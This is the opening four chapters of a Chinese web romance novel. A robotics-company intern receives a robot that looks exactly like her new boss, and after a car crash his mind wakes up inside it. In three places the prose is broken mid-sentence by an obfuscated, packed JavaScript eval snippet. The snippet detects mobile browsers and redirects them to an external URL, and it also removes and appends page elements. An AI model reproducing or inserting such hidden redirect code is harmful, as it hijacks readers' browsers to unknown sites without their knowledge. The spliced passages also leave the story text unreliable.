《老板变成我的专属机器人怎么办》 1. 走人还是换岗 十二月初六,北城迎来今年第一场暴雪。 办公室暖风吹得人昏昏欲睡,本应是个舒适的午休时刻,可林静知却如临大敌,紧张不行。 “静知,还没去吃饭?”陈清走过来将一杯手冲黑咖啡放到林静知桌面上,“裴总下周一才到,等下午我再和你核对一下。” 林静知捧起咖啡轻抿一口,看着面前怀孕九个月还熬到半夜的工作狂有点担忧。 “清姐,你的预产期快到了,现在又熬夜又喝咖啡真的没问题吗?” 陈清将咖啡放在桌子上,安抚性笑笑:“不用担心,我上次摔了一跤都没事,孩子爸年轻,质量好。” 来公司半年,林静知算是陈清一手培养,知道的信息也比别人多一点。 陈清的第一任丈夫嫌弃她满心都是工作,忽视自己需求,婚内出轨。 离婚后,陈清更是将所有的精力放在事业上。 终于,在三十岁那年找了个长相学历都优秀的弟弟谈恋爱三个月火速分手消失,去父留子。 今天就是她交接工作的最后一天。 望着电脑文档上密密麻麻的文字和注意事项,林静知感觉自己的头都要大了。 自己这个走了狗屎运进来,还没转正的实习生将要接替陈清的工作,担任新任裴总首席助理。 知寰科技的福利待遇很好,午休时间有两个小时。 将最后一行内容看完,林静知揉揉酸软的肩膀,关上电脑。 看着站在她身后盯着手机表情严肃的陈清。 “清姐,我现在要去吃饭,一起吗?” 林静知将搭在椅背上的黑色大衣拿起来,利落地穿在身上,高高盘起的丸子头下漏出修长白皙的脖颈,衬得人很是沉稳干练。 陈清的目光依旧落在屏幕上,还时不时敲击几下,没有抬头。 林静知以为自己声音太小,她没听见,刚想再喊一声时,陈清却猛地抬起头,面露同情。 “你今天的饭应该吃不上了,裴总现在就在楼下。” 林静知有些惊讶:“楼下?行程不是周一吗?” 陈清无奈摊手:“谁知道呢,老板的心思难猜,快去准备准备,这位太子爷可不像以前老板好忽悠。” 话音未落,就听到门口转弯处传来阵阵嘈杂脚步声,时不时还夹杂着些工作汇报。 林静知迅速将有些凌乱的桌子收拾干净,大衣脱下叠好,走到工位前面,目视前方,面带笑容。 裴予衡走过来时看到的就是这样一幅场景。 站在工位前面的女人一身干练黑色职业女士西装,袖口挽到小臂,白皙手腕处戴只银色腕表。头发高高盘起,漏出精致秀丽的额头,眼神干净透亮,带着让人挑不出毛病的职业笑容。 倒是比三年前成熟不少。 裴予衡不动声色垂下视线,面无表情从林静知旁边经过,迈向早已准备好的办公室。 苦涩的雪松夹杂着淡淡柑橘气息随风而来,让林静知有些愣神。 这个味道陌生而熟悉,好像在哪里闻过。 她抬眸凝望男人背影,在脑海中搜寻一圈,过了好一会,林静知确认自己并没有见过这个裴总。 想一想又觉得刚才行为有点搞笑,她兀自摇摇头,转身跟在一行人后面。 办公室温度打的很高,随行的人刚从外面进来,衣服穿的比较厚实,没一会就有人不断擦拭额头上的汗珠。 裴予衡端坐在电脑前,脊背挺直,手滑动鼠标,静静看着白荧荧屏幕,没说一句话。 下面的人站直身体,你看我我看你,竟没有一人先开口。 气氛一时间无比压抑。 不知过了多久,强烈的推背感从身后传来,林静知微微侧身,低头看向旁边抱着一沓文件的陈清。 她将文件放进林静知的怀里,又偷偷地指了指面色冷峻的裴予衡,眼神充满鼓励。 林静知明白她的良苦用心。 她沉吸口气,抱紧怀中文件,走到队伍最前方。 “裴总,这是知寰目前所有智能机器人正在进行的项目,”林静知微微俯身,将厚厚的一沓文件正放在裴予衡面前,“其余的资料我已经发您邮箱,请查收。还有近期......” 林静知语气沉稳,语速不快不慢。 裴予衡的目光从电脑上移开,炙热的阳光穿透玻璃,落在他裁剪精密的西装上,勾勒出宽肩窄腰的轮廓,又顺着修长笔直的手臂爬上他的颈肩,最后沉沉涌入眼底。 他的目光随意看着桌上的资料,弯曲的手指漫不经心敲击桌面。 “这些项目最终都是归档到你这里,由你负责的吗?”裴予衡将桌面上的资料拿起来,随意翻动几下,随即轻轻放在一旁。 知寰的每个项目都是由总经办和项目负责人牵头,然后统一归档后交由老板定夺。 林静知才来半年,所经手的项目满打满算只有三个,剩下这些都是陈清负责的。 “我负责的只有这三个,”林静知将裴予衡放在一旁的文件拿起,抽出三个装订好的文件放在他的面前,“剩下的是清姐负责的。” 裴予衡扫了一眼,这个项目他知道。 是这几年知寰的一个仿真智能家庭服务机器人项目,将AI和仿真机器人结合在一起,可以提供独一无二的服务。 “既然不是你负责的,为什么由你来汇报?”裴予衡的声音不是很大,却有着极强压迫感,“出了事情谁负责,一个还没转正的实习助理?” 质问劈头盖脸向她砸来,刺耳的话语让林静知一瞬间有点晃神。 她刚想开口,裴予衡却没给她解释的机会。 “我不需要你的解释,没有任何意义。” 职场就是这样,一旦出现问题,我需要的不是你的解释,而是你的解决。 裴予衡抬手看下时间:“加上周末你有三天时间,周一早上九点会议,我希望能看到我想要的结果。” “好的,裴总。”林静知一脸严肃,点头应好。 从办公室出来的时候,时间已经指向下午一点半。 林静知将所有文件放好,随即无力瘫倒在椅子上,算上这个周末,她已经连续加班一个月了。 缓了一会儿,林静知掏出手机,划开微信,点进置顶联系人,开始熟练的小人下跪。 林静知不知:【对不起,星星,我晚上和周末都要加班,又不能陪你吃饭了。】 消息刚发出去,通话视频立刻弹出来。 一个面容艳绝,顶着红色大波浪,带着墨镜,身穿蓝色比基尼的女子一脸闲适地躺在沙滩上。 林静知刚扬起笑脸,还没来得及开口,噼里啪啦的埋怨和心疼声就从话筒中传过来。 “破公司给你开多少工资啊,值得你这么拼命,起得比鸡早,睡的比狗晚,我都一个月没见你了。” 林静知:“......” 确实是有点多。 但是不敢开口反驳。 许晨星又继续数落:“睡觉不好好睡,吃饭不好好吃,要是你哪天猝死了,估计我都来不及给你收尸。” “这次确实是个意外,”林静知耐心向她解释,“我之前不是和你说过,知寰要换新老板。我们总经办接到通知是老板下周一到,没想到周五突然杀了过来。” 许晨星拿起旁边的饮料,红唇轻抿:“所以是新老板对你们工作不满意,然后你们集体加班?” “差不多吧,”林静知从柜子最底层摸出一袋无糖面包,撕开一角,咬了一口,“下周就要转正述职,我可不想再出什么幺蛾子。” 听到这样的话,许晨星也不再说什么。 她比谁都清楚这份工作对林静知有多么重要。 两个人又你侬我侬说了一会,刚想挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345202|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断电话,许晨星突然想到自己半小时前收到短信,给林静知准备的惊喜已经到了。 她脸上浮现出一抹贱兮兮的笑。 “知知宝贝,我给你准备一个生日惊喜,已经让快递员放你家门口了,不要太爱我哦!” 生日惊喜? 是哦,林静知突然反应过来。 自己生日也在下周。 在遇到许晨星之前,她其实已经很多年不过生日了。 “你买了什么?”林静知是真的有些好奇,毕竟每年生日她和蒋迟砚都会提前好久准备礼物。 蒋迟砚的实用,许晨星的抽象。 许晨星很有信心,她无比自信拍着胸脯保证:“放心,这次绝对比蒋迟砚的礼物还实用,能干能看,用了都说好。” 林静知对她的保证持保留意见,她的不靠谱是经过漫长岁月验证过的。 挂了电话,林静知开始全身心投入工作。 北城冬日天黑的尤其早,不到五点,路边的霓虹灯像举行接力比赛,依次亮起。 雪花飞扬,大雪簌簌落下,满城素白。 “林助理,有些工作内容我和你对接一下。”清朗的男声将林静知的意识从工作中拉回。 她抬眸望去,是一直跟在裴予衡身边的总助——谭啸。 深灰西装剪裁合体,蓝色领带系的一丝不苟,一副金丝眼镜架在高挺的鼻梁上,镜片后是一双沉静严谨的眼。 他的怀中抱着厚厚的一摞A4纸打印的文件,林静知用余光瞄了一眼,文件的封面是加粗加大八个字。 裴总生活注意事项。 就在林静知疑惑的瞬间,谭啸已经将文件放在她的桌子上。 “这是裴总所有生活习惯和注意事项,”谭啸表情认真,一字一句叮嘱,“这个周末麻烦你带回去记清楚,下周裴总出差你需要跟着。” 林静知满腹疑惑转移至脸上,她不解:“这应该不属于我工作范围吧?” 谭啸罕见沉默几秒,面对一个刚毕业不到半年的女生,他实在说不出太重话语。 他思忖片刻,斟字酌句道:“裴总以前工作助理团队下周也会入职知寰,他们更熟悉裴总的工作模式。” “裴总的私人事物以前由我负责,但是陈秘休产假,我有其他事情,所以......” “所以我就成了裴总的私人助理,远离知寰所有业务?”林静知接过谭啸的话,尾音轻颤,却有说不出的倔强。 虽同为助理,可林静知无比清楚,这两个岗位内容相差有多大。 一旦她在私人助理岗位久呆,远离知寰机器人核心业务,用不了多久就会被这个行业淘汰。 更遑论回到人工智能研发部。 谭啸听出林静知话语中的质问。 他客套性安慰:“只是暂时,等招到新的生活助理,你就可以回到原本岗位。” “暂时是多久?” 林静知长着一张很能欺骗人的脸。 从小到大,和林静知不熟的人都一致认为她的脾气软,好说话,但是只有熟悉她的人知道,她是一个原则性很强的人。 “得看裴总的意思。” “要是我不愿意转岗呢?” 谭啸轻推眼镜,神色淡然,语气变得公事公办:“我们会按照正式员工给你赔偿。” 话都说到这个地步,林静知明白自己没有拒绝余地。 裴总不缺助理,但她需要这份工作。 林静知将所有委屈埋入心底,嘴角瞬间扬起一个恰到好处的弧度:“我知道了,谢谢谭助把文件送来,我周一会准时到岗。” “有什么问题及时联系我。” 谭啸交代完所有事情,转身离开。 就在这时,后面传来一阵轻得快要听不见的询问:“那我下周一还需要重新汇报吗?” “会有其他人对接。” 2. 我是个正经人 知寰科技有着互联网公司一样的通病,加班严重,到了下班时间,办公区域依稀只有几声椅子划过地面的声音。 林静知将谭啸送来的文件放进黑色托特包中,破天荒下了个早班。 “林助,今天居然这么早?”前台小姐姐脸上挂着浅浅的笑,“有你新的快递。” “谢谢,麻烦帮我保存一下,我周一来拿。”林静知微微侧身,礼貌道谢。 越过旋转门,冷风夹杂着暴雪张牙舞爪扑面而来,像要把人拖进这没有尽头的纯白深渊。 林静知将红围巾向上拢了拢,遮住半张脸,又裹紧羽绒服,抬脚,踏进风雪。 知寰科技大楼距离附近地铁站步行大约十分钟,大雪迷眼,林静知踩着高跟鞋走得很是艰难,十分钟的路程,她硬是走了半小时。 刚迈入地铁口,扑面而来的暖风让林静知瞬间活过来。 她抖掉身上落雪,将护在怀中的包重新背好,刷卡进站。 车厢很是拥挤,林静知拼命挤进一个角落,掏出手机,打开论坛,开始浏览国内智能机器人的最新消息。 公司距离她租房地方大约有二十站,通勤需要一个半小时,许晨星以前劝她等工作转正,稳定下来,可以租的近一点。 林静知之前考虑过这个问题,但是仔细思考后又暂时打消了这个想法,她这个工作加班时间不固定,又经常出差,待在酒店的时间比家里都长,换个好点的住处不是很划算。 地铁向外环驶去,车窗外明明暗暗。 终于,在一阵熟悉的站名播报声中,林静知从信息中回过神来,她把手机放入口袋,跟随人流向外走去。 雪不知什么时候停了,云层慢慢散开,半轮明月高悬在湛蓝夜空中。 难得早下班一回,林静知没急着回去,她拎着包,转身去了附近一家超市。 今天周五,八点之后,蔬菜肉类全部五折。 超市里播放着最近的流行歌曲,林静知推着购物车直奔肉类区,将几样经常吃的放进购物车内,又转身去了蔬菜区。 蔬菜的种类不是很多,甚至有些已经蔫了,林静知挑挑拣拣,到底还是没忍心将它们带回家,又拿了几件日用品,她推着购物车去结账。 突然,放在羽绒服口袋里的手机传来震动,林静知点开微信,是许晨星的消息。 星星睡不醒:【知知,什么时候下班!你的礼物说想你啦!!!】 林静知不知:【已经下班了,现在准备回去^v^。】 星星睡不醒:【又不加班啦?老板突然有良心了?】 林静知:“……” 不是突然有良心,是已经完全没良心了。 人长得挺帅,就是心挺冷的。 林静知不知:【老板分配了其他的工作,暂时不用加班了。】 林静知不想将调岗的糟心事告诉许晨星,她现在已经够倒霉和烦恼了,虽然许晨星从不将这些表现出来,但是作为多年至交好友,她那副强撑的坚强,又如何瞒得过林静知的眼睛。 星星睡不醒:【那你赶紧回家拆礼物,记得给我写十万字使用反馈哦!】 林静知的好奇心像馋虫一样被勾了起来,到底是什么礼物让许晨星这么着急,还要写使用反馈。 她的脑子不免地歪了一下,不会是让人快乐的小玩具吧。 这种礼物,许晨星还是能送出来的。 付完款,林静知拎着这些东西回到出租屋。 她租的房子是老小区的回迁房,三室一厅,共用一个厨房和卫生间,好在三个人都是女生,也很爱干净,林静知住的也算舒心。 但是,最近其中一位女生交了男朋友,周末的时候会将男朋友带来过夜。男人不爱干净,经常在马桶上留下尿渍,半夜房间里偶尔还传来尖叫声。 其中一个室友已经沟通过几次,但是得到的永远都是好好好,我下次让他注意一下,但下次依旧还是这样。 甚至在某些方面更变本加厉。 因为林静知最近加班严重,甚至周末都在出差,她还没有和这个室友的男朋友碰上。 老小区没有电梯,楼道里的灯因为常年没人修,已经暗得几乎照不见路。 林静知拎着买好的菜,艰难地一步一步往上走,高跟鞋发出清脆的哒哒声,在空旷的楼道内轻轻回响。 终于,在林静知觉得自己灵魂快要升天时,六楼到了。 踏上最后一阶楼梯,拐过弯,门前一个巨大的快递箱引起林静知的注意。 箱子大约有两米高,用层层保鲜膜包裹起来,外面缠了厚厚的黄色胶带,严丝合缝,像是里面藏了什么绝世珍宝。 这个莫非就是许晨星说的礼物?林静知心里暗暗嘀咕,就算是人也用不着这么大的箱子来装吧。 她快步上前,瞅了一眼快递单号,是她的信息,接着又轻轻推了下,那两米高的箱子纹丝不动。 正当林静知想着如何把这庞然大物运回房间时,厚重的防盗门忽然打开。 从门后面探出一颗留着橙黄色卷发的男人脑袋:“美女,这个是你的快递啊?买的什么啊,这么重,需不需要我帮忙啊?” 男人话音刚落,便迫不及待从屋内出来。零下十几度,刚下完暴雪的北城,他上身只穿一件黑色低胸打底衬衣,下面用白色浴巾围住,身上还冒着清晰可见的水汽。 林静知眉心微不可查地皱了一下,脚步稍稍后退,和面前热情过分的男人保持一定距离。 “谢谢,但是不用,我自己可以。”林静知不想和这位室友男朋友有太多的牵扯,毕竟对于室友突然带着男朋友住在他们的合租房里,林静知心里也是有不满的。 可男人却丝毫不顾及林静知的拒绝,他咧着嘴笑着,自顾自上前想要拍林静知肩膀。 “别和哥客气,你们女生哪有我力气大,”说着还不忘拍拍自己手臂,“我住在这里,就是你们的靠山,这种拿快递的小事就交给我。” “要是觉得过意不去可以给我做顿饭,像你这么漂亮的,做饭也一定很好吃,不像我女朋友除了工作什么都不会,连租得房子都小的可怜。” 男人越说越激动,像是受了什么天大委屈。 林静知忍不住冷笑:“你说这些不怕你女朋友把你赶出去?” 卷发男人笑得很是得意:“她这么喜欢我,一颗心都扑在我身上,这怎么可能会赶我。” 林静知不想再和他废话,长时间站立行走,她的小腿肚和脚已经酸痛不已。 她绕过面前男人,将买来的菜放进厨房,回房间换了拖鞋,紧接着返回门口。 那男人还在,双手环臂,吊儿郎当地靠在墙面,嘴角勾着一抹不屑的笑容,明晃晃想看林静知的笑话。 林静知瞥了他一眼,没说话,心里却想着,温度要是再低一点就好了,冻死他,一了百了。 快递箱又大又沉,抱肯定是抱不动,林静知目视一下箱子到入户门距离,随即将箱子推倒,横放在地上。 在卷发男的惊讶目光中,林静知就这么慢悠悠地把箱子推进了房间。 快递箱裹得很严实,林静知费了好一番功夫才将上面的塑料薄膜拆干净,随后,她拆开了让许晨星一直念叨的礼物。 林静知傻眼了,一瞬间呆愣在原地。 她觉得自己二十多年的世界观受到严重冲击。 因为,在地上,闭眼躺着的,正是前几个小时还在骂她的老板。 裴予衡! “我一定是加班加出了幻觉。”林静知狠狠掐了下自己的脸。 疼的! 没做梦,也不是幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345203|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 林静知咬唇,小心翼翼伸出手,触摸面前男人的脸,皮肤细腻,触感温润,白皙皮肤下血管清晰可见。 和真人一模一样,就是没有呼吸。 跳过老板闭眼躺在地上那一幕带来的冲击,林静知现在已经稍稍缓过来。 这不是裴予衡,只是一个和他长得一样的智能机器人。 林静知抬起机器人沉甸甸的右手,手臂上果然印刻着知寰科技四个大字。 知寰科技的研发部现在都这么嚣张了吗? 裴予衡这么大度吗? 真的能通过出厂检测吗? 林静知心里除了震惊就是疑问,她赶紧爬到床上拿起手机,给许晨星拨了个视频通话。 “这是看到我送礼物了,惊不惊喜?意不意外?喜不喜欢?”许晨星穿着白色浴袍靠在床头,笑意盈盈。 林静知没说话,将屏幕对准躺在地下的‘裴予衡’。 “我天!林静知,”许晨星一股脑从床上爬起来,双眸瞪大,死死盯着屏幕,“你背我养男人了?” 林静妤有些无奈,她深深叹口气,一字一句说道:“这就是你送给我的男人。” 许晨星怔住,脑瓜子飞速旋转,思考林静知刚才的话。 良久,她带着一丝怀疑但又斩钉截铁的语气反驳道:“不可能,我买的时候反复确认过,这个不是定制款,机器人长得都是一样的。” 许晨星将她购买产品信息发过来,林静知仔细对比下,确实是他们公司卖的最好的一款机器人。 “你们公司有出过这款机器人吗?”许晨星又问。 “当然没有。”林静知摇头,他们知寰科技是很正经的公司好不,干不出出卖老板色相的事。 许晨星是个神经大条的,想不出头绪就不想,她重新躺下,眯着眼看着林静知。 “你就当开出隐藏款,这么帅,”许晨星目光下移,看向不可描述部位,然后朝林静知吹了一个响亮的流氓哨,“我的大小姐,你就享受吧!” 林静知:“……”不敢享受,怕折寿。 “你知道这机器人和谁长得一样吗?”林静知起了坏心思。 许晨星不明所以,但是她明林静知的表情,这个机器人看来不简单。 许晨星从来不会让林静知的期待掉落地上,她立刻追问:“谁啊?谁啊?” “我老板,知寰科技新任总裁,裴予衡。” “天啊,”许晨星惊得再一次从床上蹦起来,她指使林静知,“快快快,将你屏幕对准,让我再看一眼。” 林静知乖乖将屏幕移到‘裴予衡’脸上,许晨星看着官网上男人面无表情的冷峻脸庞,又看看视频中闭眼躺在地下的机器人。 一模一样,连眼角那颗泪痣都完美复刻。 这哪是隐藏款,这是绝版啊! 许晨星:“你不会想退货吧?我和你说一经售出,概不退款啊。” 林静知摇头,也不是想要退回去,就是觉得上班看见老板,睡觉又看见老板。 怪恶心的。 许晨星又对着屏幕欣赏半天,突然,她手拍脑袋,想到了一个很多人都无比好奇的问题。 于是,她露出一个相当贼兮兮的笑,对着林静知勾勾手,压低声音,问:“他那里……” 林静知绝望闭上眼,她就知道…… 见林静知双眼紧闭,许晨星嘟囔着红唇,不满:“我可是正经人,正经人有点好奇心怎么了,你不好奇?” 林静知:“……” 她也是正经人,她也很好奇,但好奇也不能上来就摸人家裤.裆,看看那里究竟大不大啊。 人有人格。 机器人也有机格呢。 况且那机器人还长着和老板一样的脸,林静知实在有点下不去手。 3. 遭遇车祸 许晨星因为工作消息匆匆挂掉电话,在黑屏的最后一秒还在大喊等明天飞回来亲自验证。 林静知被她的话逗笑得不能自已,连带着心情都变好起来。 出租屋面积很小,‘裴予衡’一直这样躺着也不是办法。林静知凭着记忆在他耳后找到了开机键,小小的,像一颗从皮肤里长出的红痣,妖艳,诡谲。 林静知白皙修长的手指轻抚而上,然后重重按下。 “滴……嘟”的机械声在空寂的房间内扩散来。 须臾,躺在地上的“裴予衡”蓦地睁开双眼,随即站直身体,看向将他唤醒的林静知。 “开机成功,001为您服务。” 不是生硬冰冷的机械电子音,而是和人类声音一样,温暖醇厚,富有磁性。 更甚的是,细细听来,竟和裴予衡的声音有几分相似。 林静知双手捧着下巴,围着机器人转几圈,细细寻找它和裴予衡不同之处。 转一圈,身材一样。 再转一圈,脸蛋也一样。 验证完毕。 现在,林静知无比确定,她的老板,那个肃穆凛然且毒舌无比的男人,成了她的服务机器人。 “主人,是我哪里有问题吗?”低沉磁性的声音在她耳边响起。 林静知被一声主人吓得回了神,她收回思绪,迅速走到‘裴予衡’面前,震惊但又强忍着笑意看着它:“你叫我主人?你怎么知道我是你的主人?” ‘裴予衡’眉眼舒展,冷峻的面庞露出一丝笑意:“我诞生那天就知道您了,直到今天,您将我唤醒。” 林静知不太明白它口中的从诞生那天就知道你了是什么意思,她想应该是许晨星购买时填的是她的信息。 林静知没有深究,她将‘裴予衡’的养护套装从快递箱中拿出,放在一旁桌子上,开始收拾垃圾。 刚从地上捡起一片纸箱,‘裴予衡’立即冲过来,从林静知手中将这些东西抢走。 “主人,有我在,您休息就好。”他语调轻缓温柔,动作却异常麻利,没一会就将这些垃圾打包干净。 看着被收拾得焕然一新的房间,林静知不由自主感叹:“怎么有一种使唤老板的爽感。” “主人,您说的老板是我吗?”‘裴予衡’走过来,蹲在林静知面前,好奇问道。 忽然放大的俊颜让林静知呼吸一窒,她慌忙闭眼,将‘裴予衡’推到一边。 林静知:“不是你,只是你和他长得一样。” 机器人不明白为什么自己和主人的老板长得一样,但他明白自己顶着这张脸干活,服侍主人,主人一定很开心。 且庞大的数据库告诉他,几乎所有人都讨厌自己的老板。 于是,他那机械脑子想出一个绝妙主意:“主人,既然我和您的老板长得一样,那您扇我一巴掌可以解气了。” 林静知:“嗯……?” 她听到了什么? 见林静知不为所动,‘裴予衡’又耐心解释:“我可以从您的微表情和语调中感知您的情绪,经过我的分析,您对老板可能存在一些怨言,但是碍于身份无法发泄出来。” “我是智能型家庭机器人,除了家务劳动,也要时时刻刻关注主人情绪。” 经过解释,林静知算是明白它的意思。 看着蹲在她面前一脸求扇的‘裴予衡’,林静知缓缓抬起右手,朝它的脸轻轻抚摸上去。 沉闷的声音在房间上空盘旋,一种不知名的情绪瞬间从她的头顶沿着脊髓蔓延至脚底,最后缓缓流经全身。 “主人,我感受到您的心情发生变化,看来我的提议有起到作用。”‘裴予衡’站起来,“您的肚子在叫,我去给您做饭,麻烦您带我认识一下您的家。” 林静知的东西不是很多,没用几分钟就把所有物品输入‘裴予衡’的系统。 看着戴着围裙,认真做饭的‘裴予衡’,林静知想到了许晨星之前说的话,她用力点点头,表示强烈认同。 这个礼物确实能看能干,用了都说好。 …… 周末转瞬即逝。 周一早上九点,林静知准时到达总经办,陈清已经休假,现在偌大办公室暂时只剩她一人。 林静知打开电脑,准备列今日工作计划,手刚放上键盘,她突然意识到已经调岗,知寰机器人核心业务和她再无关系。 忽然间,竟无事可做。 但无事可做也得做,林静知从抽屉里抽出专业书,打开,放到桌面上,开始学习专业知识。等存够钱,她就辞职,继续考研,接触更前沿技术。 不知过了多久,后颈处隐隐泛起一阵酸疼,林静知从书本中抬起头来,她看眼时间,指针指向十点半方向。 正当她起身想要活动时,门外传来询问声,是谭啸的声音。 “林助理,裴总早会已经开完,下午飞港城。”谭啸掏出手机将林静知拉进工作群,“其他信息我已邮件同步给你,有什么问题你可以直接微信联系我。” “哦,还有,”谭啸抬手看表,又继续说道:“情况比较紧急,我问人事要了你的信息,机票已经定好,十二点出发去机场。”谭啸语速平缓,有条不紊安排好所有事情。 像是看出林静知的困惑,谭啸抬手,轻轻推了推鼻梁上的金丝眼镜,解释:“裴总需要呆三天,你负责他的衣食住行,周五给你的文件都看了吗?” 林静知点头,这周末她哪都没去,除了学习就是记关于裴予衡的注意事项,她记忆力一向很好。 “我送你回去收拾东西,然后直接出发去机场,”谭啸欲言又止,林静知立刻明白他的意思,她说,“我有驾照,但是没买车。” 谭啸微微颔首:“车等回来公司会给你配,裴总助理每个人都有。” 裴予衡住的地方是前几年才建成的高端公寓,坐落于寸土寸金的闹市中心。 刚开盘时,许晨星查过它的价格。 之后,她扬天长叹,说五十年也买不起。 林静知被她夸张的表情吸引,随意瞥了一眼。 之后,她也扬天长叹,别说五十年,从春秋战国起开始干也买不起。 没想到曾经俩人调侃买不起也看不到的房子,竟以这种方式踩在她的脚下。 谭啸输入密码,林静知跟着他的脚步进入房间。 干净,一尘不染的干净。林静知甚至有种错觉自己外套上沾染的灰尘都会把这片空间污染掉。 她知道裴予衡有洁癖,没想到严重到这个地步。 按照谭啸给的指引,林静知穿过客厅,进入二楼衣帽间。 衣服种类虽多,但颜色很是单调,林静知按照在车上列好的搭配,从衣柜中取出,叠好,放进行李箱。 当她下楼时,谭啸也从书房出来,怀中抱着厚厚一摞用用密封袋装好的文件。 取完所有东西,两人没在闲聊,驱车快速赶往机场。 林静知到达VIP休息室时,裴予衡正拿着ipad靠在黑色真皮沙发上面无表情地浏览信息。 碎发向后梳起,露出精致凌厉的眉眼,额头微皱,沉郁疏离的气息萦绕在他的周围。 不知怎么地,林静知想到了昨天晚上‘裴予衡’蹲在地上求扇的表情,她一下子没忍住,低笑出声,随即又意识到真正的裴予衡就在旁边,立刻敛去笑容。 她把行李放在一边,过去问好:“裴总,您的行李已经收拾好,如果有其他需求,您随时唤我。” 说完,林静知就要离开,她的休息室不在这里。 突然,背后传来一阵询问声:“你是不是觉得很委屈?” 他语气平淡随意,就好像在说今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345204|199516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天是星期几,明天会不会下雨一样。 林静知一瞬间怔住,脚步停下,抬头和裴予衡四目相对,沉默不语。 裴予衡嗤笑:“很惊讶我会直接问你,”他双腿交叠,身体随意向后靠,修长手指搭在沙发扶手上,有下没下地轻点着;“薛峻峰走的时候没把你带走?我没来的时候可就听说过林助的大名,很受重视呢。” 林静知微微摇头:“裴总您说笑了,我是知寰的员工,老板要去哪里我无从过问。” “是吗?我也觉得林助很优秀,做我的私人助理有点屈才了。” “裴总,这只是我正常工作内容,担不起您如此高的评价,要是您没什么事情我就先离开了。” 裴予衡没说话,似笑非笑地睨了林静知一眼,将ipad放在一边,起身离开。 大白天吃炮仗了?林静知腹诽,人挺帅,要是不长嘴就更好了。 落地港市已是下午六点,冬日昼短夜长,路边霓虹灯在暴雨中盏盏亮起,在暮色里洇开一团团模糊的光晕。 黑色宾利在雨中飞驰,裴予衡靠在车后座上,头微微偏向一侧,闭眼假寐,看起来很是疲惫。 车窗外光影流转,林静知把脸贴在玻璃上,凝望着这座不夜之城。 突然,一阵尖锐刺耳的刹车声猛地从后面传来,林静知感觉自己身体猛地向前冲去,天旋地转间,骨头像是被一把破旧钝刀横批开来,嘎嘎作响,一瞬间,车内弥漫着浓重的血腥气息。 视线慢慢变暗,意识消失的最后一秒,林静知听见有个男人将她围在怀里,急切呼喊她的名字。 …… 后脑勺传来的剧痛将裴予衡唤醒,他挣扎着睁开眼,入目却是一片陌生景色。 一张不大的床,棉被整齐平铺在上面,床头放着一张白色的书桌,上面垒满关于智能机器人的书籍,书桌右边是一个胡桃色的衣柜,侧面粘着几个挂钩,悬挂着几个背包。 是个女生的房间,虽简陋,但很干净整洁。 裴予衡内心有着满满疑惑,他为什么会在这里,不应该在医院抢救吗? 他尝试移动身体,却发现自己完全不能控制,连简单的眼球转动都不行。 是处在梦中吗?梦里确实会存在对身体失去掌控的时候。 就在裴予衡思索时,他发现身体突然不受控制开始移动。 他走到阳台,拿起拖把,向着卫生间走去,边走嘴里边念叨:“虽然主人出差不在家,但我也把家里卫生打扫干净。” 什么鬼? 是他的声音,但是他的嘴里怎么可能会说出这种话。 不仅叫主人,还打扫卫生。 很可惜的是没有任何人听见,也没有任何人理会他的吐槽。 视线在不停变换,身体最终停在卫生间的镜子上面。 镜面模糊,但裴予衡还是很清晰地看清镜子里的画面。 因为镜子里呈现的是他在这个世界上最熟悉的人。 那个人。 是他自己。 裴予衡心中忍不住骇然,此时他无比确认,刚才的一切都不是梦。 一场严重车祸后,他没在医院,而是出现在一个陌生女人家中。 正当裴予衡思考接下来该怎么办时,突然,镜中的自己将袖子撸了上去,开始清理洗漱台。 白皙的手臂上青筋暴起,知寰科技四个大字明晃晃出现在眼前。 机器人! 裴予衡的脑子突然蒙了片刻,他的意识竟然出现在和自己长得一样的机器人里。 擦完洗漱台,机器人拿着抹布,拎着拖把往卧室走去。关上门,它将拖把放到一边开始整理擦拭桌面。 借着机器人的视线,裴衡看清压在书下的一张身份证。 照片上的女生笑靥如花。 是林静知。 4. 意识和机器人相连 凌晨三点。 急促的铃声把江闻彻从睡梦中吵醒,他顶着乱糟糟的鸡窝头,费力从被窝中爬出,迷迷瞪瞪划开手机,费力掀开眼皮。 来电显示为谭啸。 “我已经将近两天没有合眼了,”江闻彻深吸口气,咬牙切齿道,“你最好祈祷真的有急事,不然下次回去我就要你的脑袋开花。” 话音刚落,他将手机一扔,又闭着眼直挺挺栽倒下去。 出了这么大的事情,谭啸也不见慌乱,只是语气低沉,有条不紊安排所有事情,他说:“裴总出车祸了,现在还在医院抢救,我给你买了早上七点的航班,你现在去机场来得及。” 